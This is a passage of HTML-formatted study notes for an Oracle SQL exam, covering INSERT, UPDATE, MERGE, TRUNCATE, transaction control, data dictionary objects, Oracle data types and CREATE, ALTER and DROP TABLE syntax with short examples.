did not exist. As far as the user is concerned, it does not exist&lt;/li&gt;
&lt;li&gt;INSERT - insert into hr.regions values (10,‘Great Britain’); .. When
the database receives a statement using positional notation, it will
match the order of the values to the order in which the columns of the
table are defined.&lt;/li&gt;
&lt;/ol&gt;
&lt;ol start="15" type="1"&gt;
&lt;li&gt;INSERT Performance&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="sourceCode" id="cb13"&gt;&lt;pre class="sourceCode sql"&gt;&lt;code class="sourceCode sql"&gt;&lt;span id="cb13-1"&gt;&lt;a aria-hidden="true" href="#cb13-1" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;insert&lt;/span&gt; &lt;span class="kw"&gt;into&lt;/span&gt; employees (employee_id, last_name, hire_date) &lt;span class="kw"&gt;values&lt;/span&gt; (&lt;span class="dv"&gt;1000&lt;/span&gt;,&lt;span class="st"&gt;'WATSON'&lt;/span&gt;,&lt;span class="st"&gt;'03-Nov-07'&lt;/span&gt;);&lt;/span&gt;
&lt;span id="cb13-2"&gt;&lt;a aria-hidden="true" href="#cb13-2" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;insert&lt;/span&gt; &lt;span class="kw"&gt;into&lt;/span&gt; employees (employee_id, last_name, hire_date) &lt;span class="kw"&gt;values&lt;/span&gt; (&lt;span class="dv"&gt;1000&lt;/span&gt;,&lt;span class="fu"&gt;upper&lt;/span&gt;(&lt;span class="st"&gt;'Watson'&lt;/span&gt;),&lt;span class="fu"&gt;to_date&lt;/span&gt;(&lt;span class="st"&gt;'03-Nov-07'&lt;/span&gt;,&lt;span class="st"&gt;'dd-mon-yy'&lt;/span&gt;));&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;pre&gt;&lt;code&gt;.. SECOND is better than the First, because of UPPER casing -&amp;gt; useful in sorting
.. to_date prevents the performance hit of implicit conversion&lt;/code&gt;&lt;/pre&gt;
&lt;ol start="16" type="1"&gt;
&lt;li&gt;Any SELECT statement, specified as a subquery, can be used as the
source of rows passed to an INSERT. This enables insertion of many rows.
.. Alternatively, using the VALUES clause will insert one row. The
values can be literals or prompted for as substitution variables.&lt;/li&gt;
&lt;/ol&gt;
&lt;ol start="17" type="1"&gt;
&lt;li&gt;insert all&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="sourceCode" id="cb15"&gt;&lt;pre class="sourceCode sql"&gt;&lt;code class="sourceCode sql"&gt;&lt;span id="cb15-1"&gt;&lt;a aria-hidden="true" href="#cb15-1" tabindex="-1"&gt;&lt;/a&gt;&lt;/span&gt;
&lt;span id="cb15-2"&gt;&lt;a aria-hidden="true" href="#cb15-2" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="cf"&gt;when&lt;/span&gt; &lt;span class="dv"&gt;1&lt;/span&gt;&lt;span class="op"&gt;=&lt;/span&gt;&lt;span class="dv"&gt;1&lt;/span&gt; &lt;span class="cf"&gt;then&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb15-3"&gt;&lt;a aria-hidden="true" href="#cb15-3" tabindex="-1"&gt;&lt;/a&gt;  &lt;span class="kw"&gt;into&lt;/span&gt; emp_no_name (department_id,job_id,salary,commission_pct,hire_date)&lt;/span&gt;
&lt;span id="cb15-4"&gt;&lt;a aria-hidden="true" href="#cb15-4" tabindex="-1"&gt;&lt;/a&gt;  &lt;span class="kw"&gt;values&lt;/span&gt; (department_id,job_id,salary,commission_pct,hire_date)&lt;/span&gt;
&lt;span id="cb15-5"&gt;&lt;a aria-hidden="true" href="#cb15-5" tabindex="-1"&gt;&lt;/a&gt;&lt;/span&gt;
&lt;span id="cb15-6"&gt;&lt;a aria-hidden="true" href="#cb15-6" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="cf"&gt;when&lt;/span&gt; department_id &lt;span class="op"&gt;&amp;lt;&amp;gt;&lt;/span&gt; &lt;span class="dv"&gt;80&lt;/span&gt; &lt;span class="cf"&gt;then&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb15-7"&gt;&lt;a aria-hidden="true" href="#cb15-7" tabindex="-1"&gt;&lt;/a&gt;  &lt;span class="kw"&gt;into&lt;/span&gt; emp_non_sales (employee_id,department_id,salary,hire_date)&lt;/span&gt;
&lt;span id="cb15-8"&gt;&lt;a aria-hidden="true" href="#cb15-8" tabindex="-1"&gt;&lt;/a&gt;  &lt;span class="kw"&gt;values&lt;/span&gt; (employee_id,department_id,salary,hire_date)&lt;/span&gt;
&lt;span id="cb15-9"&gt;&lt;a aria-hidden="true" href="#cb15-9" tabindex="-1"&gt;&lt;/a&gt;&lt;/span&gt;
&lt;span id="cb15-10"&gt;&lt;a aria-hidden="true" href="#cb15-10" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="cf"&gt;when&lt;/span&gt; department_id &lt;span class="op"&gt;=&lt;/span&gt; &lt;span class="dv"&gt;80&lt;/span&gt; &lt;span class="cf"&gt;then&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb15-11"&gt;&lt;a aria-hidden="true" href="#cb15-11" tabindex="-1"&gt;&lt;/a&gt;  &lt;span class="kw"&gt;into&lt;/span&gt; emp_sales (employee_id,salary,commission_pct,hire_date)&lt;/span&gt;
&lt;span id="cb15-12"&gt;&lt;a aria-hidden="true" href="#cb15-12" tabindex="-1"&gt;&lt;/a&gt;  &lt;span class="kw"&gt;values&lt;/span&gt; (employee_id,salary,commission_pct,hire_date)&lt;/span&gt;
&lt;span id="cb15-13"&gt;&lt;a aria-hidden="true" href="#cb15-13" tabindex="-1"&gt;&lt;/a&gt;&lt;/span&gt;
&lt;span id="cb15-14"&gt;&lt;a aria-hidden="true" href="#cb15-14" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;select&lt;/span&gt; employee_id,department_id,job_id,salary,commission_pct,hire_date&lt;/span&gt;
&lt;span id="cb15-15"&gt;&lt;a aria-hidden="true" href="#cb15-15" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;from&lt;/span&gt; employees &lt;span class="kw"&gt;where&lt;/span&gt; hire_date &lt;span class="op"&gt;&amp;gt;&lt;/span&gt; &lt;span class="fu"&gt;sysdate&lt;/span&gt; &lt;span class="op"&gt;-&lt;/span&gt; &lt;span class="dv"&gt;30&lt;/span&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;NOTE: ALL -&amp;gt; means all the tables will be updated for matching
conditions. IF “ALL” is not there, only the first matching WHEN will be
filled&lt;/p&gt;
&lt;ol start="18" type="1"&gt;
&lt;li&gt;&lt;code&gt;UPDATE table SET column=value [,column=value...] [WHERE condition];&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;UPDATE table&lt;/em&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="sourceCode" id="cb16"&gt;&lt;pre class="sourceCode sql"&gt;&lt;code class="sourceCode sql"&gt;&lt;span id="cb16-1"&gt;&lt;a aria-hidden="true" href="#cb16-1" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;UPDATE&lt;/span&gt; &lt;span class="kw"&gt;table&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb16-2"&gt;&lt;a aria-hidden="true" href="#cb16-2" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="kw"&gt;SET&lt;/span&gt; &lt;span class="kw"&gt;column&lt;/span&gt;&lt;span class="op"&gt;=&lt;/span&gt;[subquery] [,&lt;span class="kw"&gt;column&lt;/span&gt;&lt;span class="op"&gt;=&lt;/span&gt;subquery&lt;span class="op"&gt;..&lt;/span&gt;.]&lt;/span&gt;
&lt;span id="cb16-3"&gt;&lt;a aria-hidden="true" href="#cb16-3" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="kw"&gt;WHERE&lt;/span&gt; &lt;span class="kw"&gt;column&lt;/span&gt; &lt;span class="op"&gt;=&lt;/span&gt; (subquery)  [&lt;span class="kw"&gt;AND&lt;/span&gt; &lt;span class="kw"&gt;column&lt;/span&gt;&lt;span class="op"&gt;=&lt;/span&gt;subquery&lt;span class="op"&gt;..&lt;/span&gt;.] ;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ol start="20" type="1"&gt;
&lt;li&gt;&lt;p&gt;There is a rigid restriction on the subqueries using update
columns in the SET clause: the subquery must return a scalar value. ..
If there were more than one it would fail with the error -&amp;gt;
ORA-01427: single-row subquery returns more than one row. .. The
subqueries used to SET column values must be scalar subqueries. .. The
subqueries used to select the rows must also be scalar, unless they use
the IN predicate.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;DELETE FROM table [WHERE condition];&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;TRUNCATE is a DDL (Data Definition Language) command. TRUNCATE
completely empties the table. .. There is no concept of row selection,
as there is with a DELETE. .. It operates within the data dictionary and
affects the structure of the table, not the contents of the table. ..
However, the change it makes to the structure has the side effect of
destroying all the rows in the table.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The data dictionary tracks how much of the space allocated to the
table has been used. This is done with the high water mark. .. The high
water mark is the last position in the last extent that has been used ..
Inserting rows into a table pushes the high water mark up. .. Deleting
them leaves the high water mark where it is; .. The space they occupied
remains assigned to the table but is freed up for inserting more
rows.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Truncating a table resets the high water mark. .. A truncation is
fast: virtually instantaneous, irrespective of whether the table has
many millions of rows or none.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;TRUNCATE TABLE table;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;em&gt;Merge Into Query&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="sourceCode" id="cb17"&gt;&lt;pre class="sourceCode sql"&gt;&lt;code class="sourceCode sql"&gt;&lt;span id="cb17-1"&gt;&lt;a aria-hidden="true" href="#cb17-1" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;merge&lt;/span&gt; &lt;span class="kw"&gt;into&lt;/span&gt; employees e &lt;span class="kw"&gt;using&lt;/span&gt; new_employees n&lt;/span&gt;
&lt;span id="cb17-2"&gt;&lt;a aria-hidden="true" href="#cb17-2" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="kw"&gt;on&lt;/span&gt; (e.employee_id &lt;span class="op"&gt;=&lt;/span&gt; n.employee_id)&lt;/span&gt;
&lt;span id="cb17-3"&gt;&lt;a aria-hidden="true" href="#cb17-3" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="cf"&gt;when&lt;/span&gt; matched &lt;span class="cf"&gt;then&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb17-4"&gt;&lt;a aria-hidden="true" href="#cb17-4" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="kw"&gt;update&lt;/span&gt; &lt;span class="kw"&gt;set&lt;/span&gt; e.salary&lt;span class="op"&gt;=&lt;/span&gt;n.salary&lt;/span&gt;
&lt;span id="cb17-5"&gt;&lt;a aria-hidden="true" href="#cb17-5" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="cf"&gt;when&lt;/span&gt; &lt;span class="kw"&gt;not&lt;/span&gt; matched &lt;span class="cf"&gt;then&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb17-6"&gt;&lt;a aria-hidden="true" href="#cb17-6" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="kw"&gt;insert&lt;/span&gt; (employee_id,last_name,salary) &lt;span class="kw"&gt;values&lt;/span&gt; (n.employee_id,n.last_name,n.salary);&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ol start="26" type="1"&gt;
&lt;li&gt;&lt;p&gt;ACID test: it must guarantee atomicity, consistency, isolation,
and durability. .. Atomicity states that all parts of a transaction must
complete or none of them. .. [Two updates must happen as a single
transaction] .. Consistency states that the results of a query must be
consistent with the state of the database at the time the query started.
.. [Updates should not be allowed when querying the table] .. The
principle of consistency requires that the database ensure that changed
values are not seen by the query [ORA-1555 snapshot too old] -&amp;gt; DB
Admin does not configure properly .. Isolation states that an incomplete
(that is, uncommitted) transaction must be invisible to the rest of the
world. .. Durability states that once a transaction completes, it must
be impossible for the database to lose it.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;A session begins a transaction the moment it issues any INSERT,
UPDATE, or DELETE statement (but not a TRUNCATE, that is a DDL command,
not DML). .. The transaction continues through any number of further DML
commands until the session issues either a COMMIT or a ROLLBACK
statement&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;It is impossible to nest transactions. This can be done with
PL/SQL (Oracle’s proprietary third-generation language), but not with
industry-standard SQL.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The explicit transaction control statements are COMMIT, ROLLBACK,
and SAVEPOINT. .. The implicit ones are: … Issuing a DDL (CREATE, ALTER,
or DROP) or DCL (GRANT or REVOKE) statement … Exiting from the user tool
(SQL*Plus or SQL Developer or anything else) … If the client session
dies … If the system crashes&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;If a user starts a transaction by issuing a DML command and then
exits from the tool he is using without explicitly issuing either a
COMMIT or a ROLLBACK, the transaction will terminate, but whether it
terminates with a COMMIT or a ROLLBACK is entirely dependent on how the
tool is written&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;If a client’s session fails for some reason, the database will
always roll back the transaction. .. the user process can die or be
killed at the operating system level, .. the network connection to the
database server may go down, .. the machine where the client tool is
running can crash.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The behavior is that the session is killed, and an active
transaction is rolled back.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The SAVEPOINT command can be used to set markers that will stage
the action of a ROLLBACK, but the same transaction remains in progress
irrespective of the use of SAVEPOINT.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;COMMIT;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;ROLLBACK [TO SAVEPOINT savepoint] ;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;A COMMIT is instantaneous, because it doesn’t really have to do
anything. The work has already been done. .. A ROLLBACK can be very
slow: it will usually take as long (if not longer) to reverse a
transaction than it took to make the changes in the first place. ..
Rollbacks are not good for database performance.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;SAVEPOINT is used only for ROLLBACK and does not commit the
data&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The SAVEPOINT command is not (yet) part of the official SQL
standard, so it may be considered good practice to avoid it in
production systems. .. It can be very useful in development, though,
when you are testing the effect of DML statements and walking through a
complex transaction step by step.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;SET AUTOCOMMIT ON -&amp;gt; behavior in both tools so that every DML
statement commits immediately, in its own transaction.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;SELECT FOR UPDATE -&amp;gt; select * from regions for
update;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The transaction is started implicitly with the first DML
statement executed. .. Until it is committed, it can be reversed with a
ROLLBACK&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The FOR UPDATE clause will place a lock on all the rows
retrieved. .. No changes can be made to them by any session other than
that which issued the command, and therefore the subsequent updates will
succeed .. The locks placed by a FOR UPDATE clause will be held until
the session issuing the command issues a COMMIT or ROLLBACK.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;If an UPDATE or DELETE command has a WHERE clause that gives it a
scope of several rows, what will happen if there is an error part way
through execution? The command is one of several in a multistatement
transaction. Whatever work the command had done before hitting the error
will be rolled back, but work done already by the transaction will
remain.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;You want to insert a row and then update it. What sequence of
steps should you follow? SIMPLEST and BEST WAY: INSERT, UPDATE,
COMMIT&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Creating savepoints and rolling back to them leave the
transaction in progress .. COMMIT and ROLLBACK are the commands to
terminate a transaction explicitly; TRUNCATE will do it
implicitly.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="chapter-11"&gt;Chapter 11&lt;/h3&gt;
&lt;ol type="1"&gt;
&lt;li&gt;&lt;p&gt;select object_type,count(object_type) from dba_objects group by
object_type order by object_type -&amp;gt; DBA_OBJECTS is a View&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;USER_OBJECTS -&amp;gt; objects owned by you ALL_OBJECTS -&amp;gt; objects
which you have been granted access&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;User SYS owns the data dictionary: a set of tables (in the SYS
schema) that define the database and its contents. .. SYS also owns
several hundred PL/SQL packages: code that is provided for the use of
database administrators and developers.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;You update the data dictionary by running DDL commands (such as
CREATE TABLE), which provide a layer of abstraction between you and the
data dictionary itself. .. The SYSTEM schema stores various additional
objects used for administration and monitoring.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The user MDSYS stores the objects used by Oracle Spatial, an
option that extends the capabilities of the Oracle database to manage
geographical information.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The name may be from 1 to 30 characters long (with the exception
of database link names that may be up to 128 characters long). ..
Reserved words (such as SELECT) cannot be used as object names. .. All
names must begin with a letter from A to Z. .. The characters in a name
can only be letters, numbers, an underscore (_), the dollar sign ($), or
the hash symbol (#). .. Lowercase letters will be converted to
uppercase.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;By enclosing the name within double quotes, all these rules (with
the exception of the length) can be broken, but to get to the object,
subsequently, it must always be specified with double quotes. .. Note
that the same restrictions also apply to column names&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Tools such as SQL*Plus and SQL Developer will automatically
convert lowercase letters to uppercase unless the name is enclosed
within double quotes&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;While it is possible to use lowercase names and nonstandard
characters (even spaces), it is considered bad practice because of the
confusion it can cause.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Tables, views, and private synonyms -&amp;gt; form one namespace ..
Indexes and Constraints -&amp;gt; form one namespace .. Naming of objects
within a single namespace should be unique&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;On creation, the table will have been assigned a limited amount
of space (known as an extent) within the database.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Size of character sets .. VARCHAR2 - 1byte - 4KB .. NVARCHAR2 -
stored in alternative national language character set .. CHAR - Fixed
length 1 byte to 2KB&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;For ISO/ANSI compliance, you can specify a VARCHAR data type, but
any columns of this type will be automatically converted to VARCHAR2.
###= For Binary Data&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;RAW: 1 byte to 4KB&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;RAW data is not converted by Oracle Net from the database’s
character set to the user process’s character set on SELECT or the other
way on INSERT.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;###= For numeric data 1. NUMBER .. Precision can range from to 1 to
38, the scale can range from -84 to 127 .. If the scale is negative,
this has the effect of replacing the last digits of any number inserted
with zeros, which do not count toward the number of digits specified for
the precision. .. If the number of digits exceeds the precision, there
will be an error; .. if it is within the precision but outside the
scale, the number will be rounded (up or down) to the nearest value
within the scale&lt;/p&gt;
&lt;ol start="2" type="1"&gt;
&lt;li&gt;FLOAT -&amp;gt; This is an ANSI data type, floating-point number with
precision of 126 binary (or 38 decimal). Oracle also provides
BINARY_FLOAT and BINARY_DOUBLE as alternatives&lt;/li&gt;
&lt;li&gt;INTEGER -&amp;gt; Equivalent to NUMBER, with scale zero.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;###= For date and time [Fixed Length] 1. DATE .. This is either
length zero, if the column is empty, or 7 bytes includes century, year,
month, day, hour, minute, and second - from January 1, 4712 BC to
December 31, 9999 AD. .. Using the TRUNC function on a date also has the
effect of setting the hours, minutes, and seconds to midnight 2.
TIMESTAMP .. length zero if the column is empty, or up to 11 bytes ..
Similar to DATE, but with precision of up to 9 decimal places for the
seconds, 6 places by default. .. TIMESTAMP WITH TIMEZONE The length may
be up to 13 bytes .. difference between two times by normalizing them to
UTC, even if the times are for different time zones .. TIMESTAMP WITH
LOCAL TIMEZONE The data is normalized to the database time zone on
saving. When retrieved, it is normalized to the time zone of the user
process selecting it. .. INTERVAL YEAR TO MONTH - period in years and
months between two DATEs or TIMESTAMPs .. INTERVAL DAY TO SECOND -
period in days and seconds between two DATEs or TIMESTAMPs&lt;/p&gt;
&lt;p&gt;###= For Large Object Types 1. CLOB - size effectively unlimited: 4GB
multiplied by the database block size. 2. NCLOB - stored in the
alternative national language character set, one of the permitted
Unicode character sets. 3. BLOB - binary data that will not undergo
character set conversion by Oracle Net 4. BFILE - locator pointing to a
file stored on the operating system of the database server. 4GB 5. LONG
- Character data in the database character set, up to 2GB -&amp;gt; provided
by CLOB .. LONGs should not be used in a modern database,-&amp;gt; should be
converted to CLOB. .. There can only be one LONG column in a table 6.
LONG RAW - Binary data that will not be converted by Oracle Net. ..Any
LONG RAW columns should be converted to BLOBs.&lt;/p&gt;
&lt;p&gt;###= ROWID data type 1. Value coded in base 64 that is the pointer to
the location of a row in a table. 2. Encrypted 3. Exact physical address
4. ROWID is an Oracle proprietary data type, not visible unless
specifically selected. 5. All examinees will be expected to know about
these data types: 6. VARCHAR2, CHAR, NUMBER, DATE, TIMESTAMP, INTERVAL,
RAW, LONG, LONG RAW, CLOB, BLOB, BFILE, and ROWID. 7. Detailed knowledge
will also be needed for VARCHAR2, NUMBER and DATE.&lt;/p&gt;
&lt;h3 id="chapter-11-continued"&gt;Chapter 11 Continued&lt;/h3&gt;
&lt;ol type="1"&gt;
&lt;li&gt;Tables can be stored in the database:&lt;/li&gt;
&lt;li&gt;HEAP TABLES - A heap is variable length rows in random order&lt;/li&gt;
&lt;li&gt;Advanced table structures .. Index organized tables - Store rows in
the order of an index key. .. Index clusters - Can denormalize tables in
parent-child relationships so that related rows from different table are
stored together. .. Hash clusters - Force a random distribution of rows,
which will break down any ordering based on the entry sequence. ..
Partitioned tables Store rows in separate physical structures, the
partitions, allocating rows according to the value of a column.&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="sourceCode" id="cb18"&gt;&lt;pre class="sourceCode sql"&gt;&lt;code class="sourceCode sql"&gt;&lt;span id="cb18-1"&gt;&lt;a aria-hidden="true" href="#cb18-1" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;CREATE&lt;/span&gt; &lt;span class="kw"&gt;TABLE&lt;/span&gt; [&lt;span class="kw"&gt;schema&lt;/span&gt;.]&lt;span class="kw"&gt;table&lt;/span&gt; [&lt;span class="kw"&gt;ORGANIZATION&lt;/span&gt; &lt;span class="kw"&gt;HEAP&lt;/span&gt;]  &lt;span class="op"&gt;-&amp;gt;&lt;/span&gt;  &lt;span class="kw"&gt;default&lt;/span&gt; &lt;span class="kw"&gt;and&lt;/span&gt; &lt;span class="kw"&gt;is&lt;/span&gt; industry standard SQL.&lt;/span&gt;
&lt;span id="cb18-2"&gt;&lt;a aria-hidden="true" href="#cb18-2" tabindex="-1"&gt;&lt;/a&gt;(&lt;span class="kw"&gt;column&lt;/span&gt; datatype [&lt;span class="kw"&gt;DEFAULT&lt;/span&gt; expression]&lt;/span&gt;
&lt;span id="cb18-3"&gt;&lt;a aria-hidden="true" href="#cb18-3" tabindex="-1"&gt;&lt;/a&gt;[,&lt;span class="kw"&gt;column&lt;/span&gt; datatype [&lt;span class="kw"&gt;DEFAULT&lt;/span&gt; expression]&lt;span class="op"&gt;..&lt;/span&gt;.);&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ol start="4" type="1"&gt;
&lt;li&gt;The DEFAULT clause can be useful, but it is of limited
functionality. You cannot use a subquery to generate the default value:
you can only specify literal values or functions.&lt;/li&gt;
&lt;li&gt;CREATE TABLE [schema.]table AS subquery; -&amp;gt; create table
employees_copy as select * from employees; .. Create a table
EMPLOYEES_COPY, which is an exact copy of the EMPLOYEES table, identical
in both definition and the rows it contains. .. Any not null and check
constraints on the columns will also be applied to the new table, but
any primary-key, unique, or foreign-key constraints will not be&lt;/li&gt;
&lt;li&gt;All of these changes are DDL commands with the built-in COMMIT.
Altering Table Definitions after Creation&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="sourceCode" id="cb19"&gt;&lt;pre class="sourceCode sql"&gt;&lt;code class="sourceCode sql"&gt;&lt;span id="cb19-1"&gt;&lt;a aria-hidden="true" href="#cb19-1" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;alter&lt;/span&gt; &lt;span class="kw"&gt;table&lt;/span&gt; emp &lt;span class="kw"&gt;add&lt;/span&gt; (job_id &lt;span class="dt"&gt;number&lt;/span&gt;); &lt;span class="op"&gt;-&amp;gt;&lt;/span&gt; Adding a &lt;span class="kw"&gt;column&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb19-2"&gt;&lt;a aria-hidden="true" href="#cb19-2" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;alter&lt;/span&gt; &lt;span class="kw"&gt;table&lt;/span&gt; emp &lt;span class="kw"&gt;modify&lt;/span&gt; (comm &lt;span class="dt"&gt;number&lt;/span&gt;(&lt;span class="dv"&gt;4&lt;/span&gt;,&lt;span class="dv"&gt;2&lt;/span&gt;) &lt;span class="kw"&gt;default&lt;/span&gt; &lt;span class="fl"&gt;0.05&lt;/span&gt;); &lt;span class="op"&gt;-&amp;gt;&lt;/span&gt; modifying a &lt;span class="kw"&gt;column&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb19-3"&gt;&lt;a aria-hidden="true" href="#cb19-3" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;alter&lt;/span&gt; &lt;span class="kw"&gt;table&lt;/span&gt; emp &lt;span class="kw"&gt;drop&lt;/span&gt; &lt;span class="kw"&gt;column&lt;/span&gt; comm; &lt;span class="op"&gt;-&amp;gt;&lt;/span&gt; dropping a &lt;span class="kw"&gt;column&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb19-4"&gt;&lt;a aria-hidden="true" href="#cb19-4" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;alter&lt;/span&gt; &lt;span class="kw"&gt;table&lt;/span&gt; emp &lt;span class="kw"&gt;set&lt;/span&gt; &lt;span class="kw"&gt;unused&lt;/span&gt; &lt;span class="kw"&gt;column&lt;/span&gt; job_id; &lt;span class="op"&gt;-&amp;gt;&lt;/span&gt; Marking &lt;span class="kw"&gt;column&lt;/span&gt; &lt;span class="kw"&gt;as&lt;/span&gt; &lt;span class="kw"&gt;unused&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb19-5"&gt;&lt;a aria-hidden="true" href="#cb19-5" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;alter&lt;/span&gt; &lt;span class="kw"&gt;table&lt;/span&gt; emp &lt;span class="kw"&gt;rename&lt;/span&gt; &lt;span class="kw"&gt;column&lt;/span&gt; hiredate &lt;span class="kw"&gt;to&lt;/span&gt; recruited; &lt;span class="op"&gt;-&amp;gt;&lt;/span&gt; Renaming &lt;span class="kw"&gt;the&lt;/span&gt; &lt;span class="kw"&gt;column&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb19-6"&gt;&lt;a aria-hidden="true" href="#cb19-6" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;alter&lt;/span&gt; &lt;span class="kw"&gt;table&lt;/span&gt; emp &lt;span class="kw"&gt;read&lt;/span&gt; &lt;span class="kw"&gt;only&lt;/span&gt;; &lt;span class="op"&gt;-&amp;gt;&lt;/span&gt; marking &lt;span class="kw"&gt;table&lt;/span&gt; &lt;span class="kw"&gt;as&lt;/span&gt; &lt;span class="kw"&gt;read&lt;/span&gt;&lt;span class="op"&gt;-&lt;/span&gt;&lt;span class="kw"&gt;only&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ol start="6" type="1"&gt;
&lt;li&gt;Dropping a column can be a time-consuming exercise because as each
column is dropped, every row must be restructured to remove the column’s
data.&lt;/li&gt;
&lt;li&gt;The SET UNUSED command, which makes columns nonexistent as far as
SQL is concerned, is often a better alternative, followed when
convenient by &lt;code&gt;ALTER TABLE tablename DROP UNUSED COLUMNS;&lt;/code&gt;
which will drop all the unused columns in one pass through the
table.&lt;/li&gt;
&lt;li&gt;Marking a table as read-only will cause errors for any attempted DML
commands. But the table can still be dropped.&lt;/li&gt;
&lt;li&gt;DROP TABLE [schema.]tablename ; -&amp;gt; it includes a COMMIT. .. If
any session (even your own) has a transaction in progress that includes
a row in the table, then the DROP will fail, .. It is also impossible to
drop a table that is referred to in a foreign key constraint defined for
a another table. This table (or the constraint) must be dropped
first.&lt;/li&gt;
&lt;li&gt;The constraint types&lt;/li&gt;
&lt;/ol&gt;
